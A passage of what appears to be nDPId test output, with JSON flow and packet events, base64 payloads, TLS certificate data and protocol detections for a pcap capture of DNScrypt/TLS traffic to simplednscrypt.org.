NVBAoTC0FkZFRydXN0IEFCMSYwJAYDVQQLEx1BZGRUcnVzdCBFeHRlcm5hbCBUVFAgTmV0d29yazEiMCAGA1UEAxMZQWRkVHJ1c3QgRXh0ZXJuYWwgQ0EgUm9vdDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALf3GjPm8gAELTngTlvtH7xsD821+iO2zt6bETOXpClMfZOfvUq8k+0DGuOPz+VtUFrWlymUWoCwSXrbLpX9uMq\/NzgtHj6RQa1wVsfwTz\/oMp50ysiQVOnGXw94nZpAPA6sYapeFI+eh6FqUNzXmk6vBbOmcZSccbNQYArHE504B4YCqOmoaSYYkKtMsE8jqzpPhNjfzp\/haW+710LXa0Tkx63ubUFfclpxCDezeWWkWaCUN\/cALw3CknLa0Dhy2xSoRcRdKn23tNbE7qzNE0S3ySvdQwAl+mG5aWpYIxG3pzOPVnVZ9c0="} +02183{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491813284,"pkt_ts_usec":819906,"pkt_caplen":1364,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1364,"pkt_l4_len":1330,"pkt":"pDTZFrEGuFpz9d6dCABFAAVGQ1hAADMGcnuGdxoYwKgrpwG7xDnBW+Nk3\/17slAQAO1GdQAAKddGtworZbbTQm8Vsrh7++\/pXVPVNFonAgMBAAGjgdwwgdkwHQYDVR0OBBYEFK29mHo0tCb3+sQmVO8DveAky1QaMAsGA1UdDwQEAwIBBjAPBgNVHRMBAf8EBTADAQH\/MIGZBgNVHSMEgZEwgY6AFK29mHo0tCb3+sQmVO8DveAky1QaoXOkcTBvMQswCQYDVQQGEwJTRTEUMBIGA1UEChMLQWRkVHJ1c3QgQUIxJjAkBgNVBAsTHUFkZFRydXN0IEV4dGVybmFsIFRUUCBOZXR3b3JrMSIwIAYDVQQDExlBZGRUcnVzdCBFeHRlcm5hbCBDQSBSb290ggEBMA0GCSqGSIb3DQEBBQUAA4IBAQCwm+CFJcLWI+IPlgaSnUGYnNmEeYHZHlsUByM2ZY+w2He7rEFsR2CDUbD5Mj3n\/PYmE8eAFqW\/WvyHz3h5iSGa4kwHCoY1vPLeUcTSlrfcfk7ucP0cOesMAlEULY69FuDB30Z15ySt7PRCtIWTcBBnup0GNUoY0yt6zFFCoXpj0ea7ocUrwja+Ew3mvWN+eXunCQ1Aq2rdj4rD9vaMGkIFUdRF9Z+nYiFoFSBDPJnnfL0k2KmRF3OIP1YbMTgYtHEPms3IDp6OLhvhjJiDyx8x8URMxgRzSXZgD8f4vReAay7pzEwOWpp5DyAKLtWeYyYeVZKU2IIXWnvQvMePToYEFgMDAeAWAAHcAQAB2DCCAdQKAQCgggHNMIIByQYJKwYBBQUHMAEBBIIBujCCAbYwgZ+iFgQUkK9qOpRaC9iQ6hJWc99DtDoo2ucYDzIwMTcwNDA5MDQwMjQwWjB0MHIwSjAJBgUrDgMCGgUABBR64T7ooMQqLLQoy+emBUYZQOKh6QQUkK9qOpRaC9iQ6hJWc99DtDoo2ucCEQCCr5kvWgaS4\/6x6rGelVcqgAAYDzIwMTcwNDA5MDQwMjQwWqARGA8yMDE3MDQxNjA0MDI0MFowDQYJKoZIhvcNAQELBQADggEBAH+wfpp+5LlkCRisx4nBj3QUHeouZckpEuXuzNLrHapMTI2irFC1B8nhS8VqiSEhU80d87eufNjS9ja4P3y\/9Gf1mDgVmwelWuNUfTDa0fIOG+Iok+qRyzywOVh+bLzrVJ1TmjtXTZD42IWFcGqgYx7yUytRrBy8tsK+7tvF\/TdoJvdyDca\/zwlZABw6+foldVCqO5dRcQIV1cOsQ1EYCUZmHJPpUe2sxVE3cuvAzL9LySGo9pync+JfJU2vw8JdwOcokNSprDor2Fq2Lrm0a1PkUH6nOdzaMWMf+cM8JLhskYX9lg8v9hKrHYKQkVmkHpKCAtg4IbjOmYaD7pVy9OUWAwMCTQwAAkkDABdBBMEs0dECnmFQPDW5C0BBrEMoEh4DjhYFU4eSiJdJ9mljSCwYMH7V0aqjKeNFtBNkSZzO+82ibO9HrYtEZLZ8uDkGAQIAk5XSxny444hJPAK0CpcicVGDHP34yccqcLYDlo74p7IOXPx0SctfMWFb2A8xgPUxJLYc9cB2I7sj8\/0z76ycvCM5RRzSYQWvG5fn\/5iwJxbsVCfnDwJJZnfgvh07WRjpKHYVTfAwTJpj85KMnatkxk63nWewt4+TX8iq4cY3AB3\/a5QUn5GqW4LItt2OQm6ABClfUZGcxaUs4crG9lguHxOSFUMmCUWr69ZAh9PDiLkKoc86nSogP7WkDOP6U\/FD7uSo4RqMculUizMsuht5YTgS3kzGS1I="} +01130{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":11,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":11,"flow_first_seen":1491813284555,"flow_last_seen":1491813284819,"flow_tot_l4_data_len":7000,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1330,"flow_avg_l4_data_len":636,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.43.167","dst_ip":"134.119.26.24","src_port":50233,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DNScrypt","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"simplednscrypt.org","server_names":"simplednscrypt.org,www.simplednscrypt.org","ja3":"b8f81673c0e1d29908346f3bab892b9b","ja3s":"76cc3e2d3028143b23ec18e27dbd7ca9","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=GB, ST=Greater Manchester, L=Salford, O=COMODO CA Limited, CN=COMODO RSA Domain Validation Secure Server CA","issuerDN":"OU=Domain Control Validated, OU=PositiveSSL, CN=simplednscrypt.org","alpn":"h2,http\/1.1","fingerprint":"3E:20:0F:BF:AD:D8:5C:A1:A1:1B:E5:B2:A7:D4:68:E2:6A:DB:01:41"}} +00836{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491813284,"pkt_ts_usec":819907,"pkt_caplen":360,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":360,"pkt_l4_len":326,"pkt":"pDTZFrEGuFpz9d6dCABFAAFaQ1lAADMGdmaGdxoYwKgrpwG7xDnBW+iC3\/17slAYAO3oGAAAY0Xq\/9g4SaHrnZU8W1EHPc0FO8GkCpQDheHi1SbVYbB9oNEiawhz288ItkmH6s7w0KED+G+eCWHNyuXA3itUrsI3pIWlCF52GKrWkKP0tp81086u88BxGaebXQsoIN5DJj+Bkoh+LdpaN54mH6seoq0838MPwuEFWHBBAdUELKkrH\/owKxm4b1PukIrJ6X5pT4z5sS8GkdA2Auq6Afx2mzKwic7VG\/QM7RGtFcnOQchhmy0eEFvCbRRk+9iyB8vHpzlYjS8F5\/Gf2pAVXe0WvA7kUdTGMcYZEtAafqgneJnHhfsa6+wE1MrrlHWrtCRuUw\/BrDa4DslYLKEsCrqa\/sD\/vfjhn1PjhKWaFL8lEIko8KEFzoTomOzgFAGEEb\/k+guXUfM2tmxYFgMDAAQOAAAA"} +00417{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491813284,"pkt_ts_usec":820155,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"uFpz9d6dpDTZFrEGCABFAAAoPRlAAIAGMNjAqCunhncaGMQ5Abvf\/XuywVvptFAQAEBWAAAA"} +00589{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491813284,"pkt_ts_usec":825049,"pkt_caplen":180,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":180,"pkt_l4_len":146,"pkt":"uFpz9d6dpDTZFrEGCABFAACmPRpAAIAGMFnAqCunhncaGMQ5Abvf\/XuywVvptFAYAEBS2QAAFgMDAEYQAABCQQQmJSolkwGDyVAdCVJ6eIlxoGwq5F0FnvTyGQfQq87GDzWoVfXGSnPYpcidY+497arq9kBqNEHHq0pXWvGrnjmFFAMDAAEBFgMDACgAAAAAAAAAABYnOw0XTGd6c2GPgttRE3Y7c\/U6PC3f24OW3JIoT6yO"} +00491{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491813284,"pkt_ts_usec":839943,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"uFpz9d6dpDTZFrEGCABFAABdPRtAAIAGMKHAqCunhncaGMQ5Abvf\/XwwwVvptFAYAEBVBwAAFwMDADAAAAAAAAAAAQS1TJ+m8SrlGXLzDCmOjwkrDHkaokQ+7Wi90r7MCGPULJYmu25moAk="} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":40,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1491813286275,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.43.167","dst_ip":"134.119.26.24","src_port":50253,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00431{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":40,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491813286,"pkt_ts_usec":275625,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"uFpz9d6dpDTZFrEGCABFAAA0PSdAAIAGML7AqCunhncaGMRNAbtYb9jbAAAAAIACIADK3QAAAgQFtAEDAwgBAQQC"} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":41,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1491813286392,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.43.167","dst_ip":"134.119.26.24","src_port":50258,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00431{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":41,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491813286,"pkt_ts_usec":392272,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"uFpz9d6dpDTZFrEGCABFAAA0PShAAIAGML3AqCunhncaGMRSAbte7A6DAAAAAIACIACOtAAAAgQFtAEDAwgBAQQC"} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":42,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1491813286393,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.43.167","dst_ip":"134.119.26.24","src_port":50259,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00431{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":42,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491813286,"pkt_ts_usec":393273,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"uFpz9d6dpDTZFrEGCABFAAA0PSlAAIAGMLzAqCunhncaGMRTAbtepcAHAAAAAIACIADddQAAAgQFtAEDAwgBAQQC"} +00433{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":43,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491813286,"pkt_ts_usec":463777,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"pDTZFrEGuFpz9d6dCABFAAA0AABAADMGuuWGdxoYwKgrpwG7xE3jDV\/XWG\/Y3IASchA2bgAAAgQFHgEBBAIBAwMH"} +00415{"flow_id":2,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":44,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491813286,"pkt_ts_usec":463900,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"uFpz9d6dpDTZFrEGCABFAAAoPSpAAIAGMMfAqCunhncaGMRNAbtYb9jc4w1f2FAQAEDoegAA"} +00701{"flow_id":2,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":45,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491813286,"pkt_ts_usec":464103,"pkt_caplen":264,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":264,"pkt_l4_len":230,"pkt":"uFpz9d6dpDTZFrEGCABFAAD6PStAAIAGL\/TAqCunhncaGMRNAbtYb9jc4w1f2FAYAEDIdQAAFgMBAM0BAADJAwNv0uKa8YPP5S3C1fDc6AAVy\/lKelnnMptROJU3jjxHAgAAIGpqwCvAL8AswDDMqcyozBTME8ATwBQAnACdAC8ANQAKAQAAgOrqAAD\/AQABAAAAABcAFQAAEnNpbXBsZWRuc2NyeXB0Lm9yZwAXAAAAIwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMXVQAAAACwACAQAACgAKAAja2gAdABcAGJqaAAEA"} +00725{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":45,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":4,"flow_first_seen":1491813286275,"flow_last_seen":1491813286464,"flow_tot_l4_data_len":314,"flow_min_l4_data_len":20,"flow_max_l4_data_len":230,"flow_avg_l4_data_len":78,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.43.167","dst_ip":"134.119.26.24","src_port":50253,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"simplednscrypt.org","ja3":"83e04bc58d402f9633983cbf22724b02","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00431{"flow_id":4,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":46,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491813286,"pkt_ts_usec":470177,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"pDTZFrEGuFpz9d6dCABFAAA0AABAADUGuOWGdxoYwKgrpwG7xFOF+CiKXqXACIASchDdaAAAAgQFHgEBBAIBAwMH"} +00415{"flow_id":4,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":47,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491813286,"pkt_ts_usec":470265,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"uFpz9d6dpDTZFrEGCABFAAAoPSxAAIAGMMXAqCunhncaGMRTAbtepcAIhfgoi1AQAECPdQAA"} +00700{"flow_id":4,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":48,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491813286,"pkt_ts_usec":470494,"pkt_caplen":264,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":264,"pkt_l4_len":230,"pkt":"uFpz9d6dpDTZFrEGCABFAAD6PS1AAIAGL\/LAqCunhncaGMRTAbtepcAIhfgoi1AYAEAxMwAAFgMBAM0BAADJAwPabWMx4TPEe003EmcOaVVkGB4BJdiLaMIosjjzc6WatQAAINrawCvAL8AswDDMqcyozBTME8ATwBQAnACdAC8ANQAKAQAAgGpqAAD\/AQABAAAAABcAFQAAEnNpbXBsZWRuc2NyeXB0Lm9yZwAXAAAAIwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMXVQAAAACwACAQAACgAKAAhqagAdABcAGDo6AAEA"} +00725{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":48,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":4,"flow_first_seen":1491813286393,"flow_last_seen":1491813286470,"flow_tot_l4_data_len":314,"flow_min_l4_data_len":20,"flow_max_l4_data_len":230,"flow_avg_l4_data_len":78,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.43.167","dst_ip":"134.119.26.24","src_port":50259,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"simplednscrypt.org","ja3":"83e04bc58d402f9633983cbf22724b02","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00431{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":49,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491813286,"pkt_ts_usec":489522,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"pDTZFrEGuFpz9d6dCABFAAA0AABAADMGuuWGdxoYwKgrpwG7xFKVdKj9XuwOhIASchD+twAAAgQFHgEBBAIBAwMH"} +00416{"flow_id":3,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":50,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491813286,"pkt_ts_usec":489644,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"uFpz9d6dpDTZFrEGCABFAAAoPS5AAIAGMMPAqCunhncaGMRSAbte7A6ElXSo\/lAQAECwxAAA"} +00702{"flow_id":3,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":51,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491813286,"pkt_ts_usec":491438,"pkt_caplen":264,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":264,"pkt_l4_len":230,"pkt":"uFpz9d6dpDTZFrEGCABFAAD6PS9AAIAGL\/DAqCunhncaGMRSAbte7A6ElXSo\/lAYAEA4UAAAFgMBAM0BAADJAwMEITmqCCDYKHQAOZXDppXwBZfCK5UgUTxqQznpvaY\/AwAAIAoKwCvAL8AswDDMqcyozBTME8ATwBQAnACdAC8ANQAKAQAAgDo6AAD\/AQABAAAAABcAFQAAEnNpbXBsZWRuc2NyeXB0Lm9yZwAXAAAAIwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMXVQAAAACwACAQAACgAKAAgqKgAdABcAGKqqAAEA"} +00725{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":51,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":4,"flow_first_seen":1491813286392,"flow_last_seen":1491813286491,"flow_tot_l4_data_len":314,"flow_min_l4_data_len":20,"flow_max_l4_data_len":230,"flow_avg_l4_data_len":78,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.43.167","dst_ip":"134.119.26.24","src_port":50258,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"simplednscrypt.org","ja3":"83e04bc58d402f9633983cbf22724b02","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00416{"flow_id":4,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":52,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491813286,"pkt_ts_usec":545726,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"pDTZFrEGuFpz9d6dCABFAAAovEhAADUG\/KiGdxoYwKgrpwG7xFOF+CiLXqXA2lAQAO2N9gAA"} +02182{"flow_id":4,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":53,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491813286,"pkt_ts_usec":573464,"pkt_caplen":1364,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1364,"pkt_l4_len":1330,"pkt":"pDTZFrEGuFpz9d6dCABFAAVGvElAADUG94mGdxoYwKgrpwG7xFOF+CiLXqXA2lAQAO2+aAAAFgMDAE4CAABKAwOVw+3slcnEBg1d\/J9MTQ+QtWLiUZUSggGmLi8EnEpAxgDALwAAIgAAAAD\/AQABAAALAAQDAAECACMAAAAFAAAAEAAFAAMCaDIWAwMWMAsAFiwAFikABl8wggZbMIIFQ6ADAgECAhEAgq+ZL1oGkuP+seqxnpVXKjANBgkqhkiG9w0BAQsFADCBkDELMAkGA1UEBhMCR0IxGzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMHU2FsZm9yZDEaMBgGA1UEChMRQ09NT0RPIENBIExpbWl0ZWQxNjA0BgNVBAMTLUNPTU9ETyBSU0EgRG9tYWluIFZhbGlkYXRpb24gU2VjdXJlIFNlcnZlciBDQTAeFw0xNTA5MjEwMDAwMDBaFw0xNzA5MjAyMzU5NTlaMFYxITAfBgNVBAsTGERvbWFpbiBDb250cm9sIFZhbGlkYXRlZDEUMBIGA1UECxMLUG9zaXRpdmVTU0wxGzAZBgNVBAMTEnNpbXBsZWRuc2NyeXB0Lm9yZzCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAMckfBBUAmrlLg9wkJ4soZKlNIQMjAggQKzmCAoclNmR68JK3M4fLIkZ2yXTonlITBB6lnVMoAEZBMpbwABFaHlvwXOygaKXWMqPrv9P2mABRSsrUM48enZZksNWv7PgLoxCuUq5dQBTVQR\/+by4tusvjA8jLniSGAuRogCoK4+Bry\/K+xZLe6ieKZUbVIlNqwdFGVmi1s5OLasHEUqX3u10wEovTkqy0XKLeRMURdWGGIngZ4B1kBCB2d1U+m0gFZYxmqr1P6dc7K8OEI3dM3DbamnJnsXBJbGEaumQnAruKpEh9F42Ex5kUzE0\/0+ZFnaBZZ5GElTxAukaT6e5cC9AjTkUNuhSiVZmYI3UO5kBtvx+puTX6r6HSCENTo8ysIVAw1KYMcNaU8lYpu8keEp0LYAErZzfAYqii7LXakRuY38nE81YesDT6mZZ1Ly9tnGg4M6ODkxJdz5DZmROa7jf8FmEtCAEowI5vLVOllOfnWanbpE2+EvTbRRy\/fzHdxKqlCdny547wJVtRBzRfgbpneL2Rl4XMDk+eO9+SRc9ZBEO+\/Bmiz9V5vnn8ZVeKQPUGyXFzUb00uH1IfaZcPPWqJSewYGBo2cK\/Vkdgwr65W8qBkCn5miAkFskh\/VXELFsO4eP9lILEVHFXkRsG\/flpdUix7ZBlvkKZSSaYW8VAgMBAAGjggHnMIIB4zAfBgNVHSMEGDAWgBSQr2o6lFoL2JDqElZz30O0Oija5zAdBgNVHQ4EFgQUriOphLhNie\/nS04PS4s1uALDpQswDgYDVR0PAQH\/BAQDAgWgMAwGA1UdEwEB\/wQCMAAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCME8GA1UdIARIMEYwOgYLKwYBBAGyMQECAgcwKzApBggrBgEFBQcCARYdaHR0cHM6Ly9zZWN1cmUuY29tb2RvLmNvbS9DUFMwCAYGZ4EMAQIBMFQGA1UdHwRNMEswSaBHoEWGQ2h0dHA6Ly9jcmwuY29tb2RvY2EuY29tL0NPTU9ET1JTQURvbWFpblZhbGlkYXRpb25TZWN1cmVTZXJ2ZXJDQS5jcmwwgYUGCCsGAQUFBwEBBHkwdzBPBggrBgEFBQcwAoZDaHR0cDovL2NydC5jb21vZG8="} +00782{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":53,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":6,"flow_first_seen":1491813286393,"flow_last_seen":1491813286573,"flow_tot_l4_data_len":1664,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1330,"flow_avg_l4_data_len":277,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.43.167","dst_ip":"134.119.26.24","src_port":50259,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"simplednscrypt.org","ja3":"83e04bc58d402f9633983cbf22724b02","ja3s":"76cc3e2d3028143b23ec18e27dbd7ca9","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +02180{"flow_id":4,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":54,"source":"simple-dnscrypt.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1491813286,"pkt_ts_usec":575998,"pkt_caplen":1364,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1364,"pkt_l4_len":1330,"pkt":"pDTZFrEGuFpz9d6dCABFAAVGvEpAADUG94iGdxoYwKgrpwG7xFOF+C2pXqXA2lAQAO3gJwAAY2EuY29tL0NPTU9ET1JTQURvbWFpblZhbGlkYXRpb25TZWN1cmVTZXJ2ZXJDQS5jcnQwJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmNvbW9kb2NhLmNvbTA1BgNVHREELjAsghJzaW1wbGVkbnNjcnlwdC5vcmeCFnd3dy5zaW1wbGVkbnNjcnlwdC5vcmcwDQYJKoZIhvcNAQELBQADggEBAEYKh0V6lmCDQfNwo5jPTcH6S9OBZ3Moyfar6ls8iUE8tp\/LzNzBmFb+TXq8npQywPd6U9lqAmXSoJhyb0dfYBhHNVbsB3cQ14vBgqNMJM5m+cWeyf\/JuPZZFBypV6qfp0R+3wJrnwK6f10riZMvAxtVsnZgneHQr4eFFSBfHM1MTPMjofv5JIYhc6+CAaCp2NcOqOsu4Y40YpTUMbkYOxaWUTkMOAgJXGhWVj4TdHMrScYZuPI2D+FcmknNKB4k7q+xxdQ\/8Z1BFGci4Yasa8VEmFoacSHLZ3plleYor63ehrG6hIIT\/HsaYVTaC23y2ysidaPGKG3OrI5uVNMugsgABgwwggYIMIID8KADAgECAhArLm7q2XU2bBSKbtujfIwHMA0GCSqGSIb3DQEBDAUAMIGFMQswCQYDVQQGEwJHQjEbMBkGA1UECBMSR3JlYXRlciBNYW5jaGVzdGVyMRAwDgYDVQQHEwdTYWxmb3JkMRowGAYDVQQKExFDT01PRE8gQ0EgTGltaXRlZDErMCkGA1UEAxMiQ09NT0RPIFJTQSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0xNDAyMTIwMDAwMDBaFw0yOTAyMTEyMzU5NTlaMIGQMQswCQYDVQQGEwJHQjEbMBkGA1UECBMSR3JlYXRlciBNYW5jaGVzdGVyMRAwDgYDVQQHEwdTYWxmb3JkMRowGAYDVQQKExFDT01PRE8gQ0EgTGltaXRlZDE2MDQGA1UEAxMtQ09NT0RPIFJTQSBEb21haW4gVmFsaWRhdGlvbiBTZWN1cmUgU2VydmVyIENBMIIBIjANBgkqhkiG9w0BA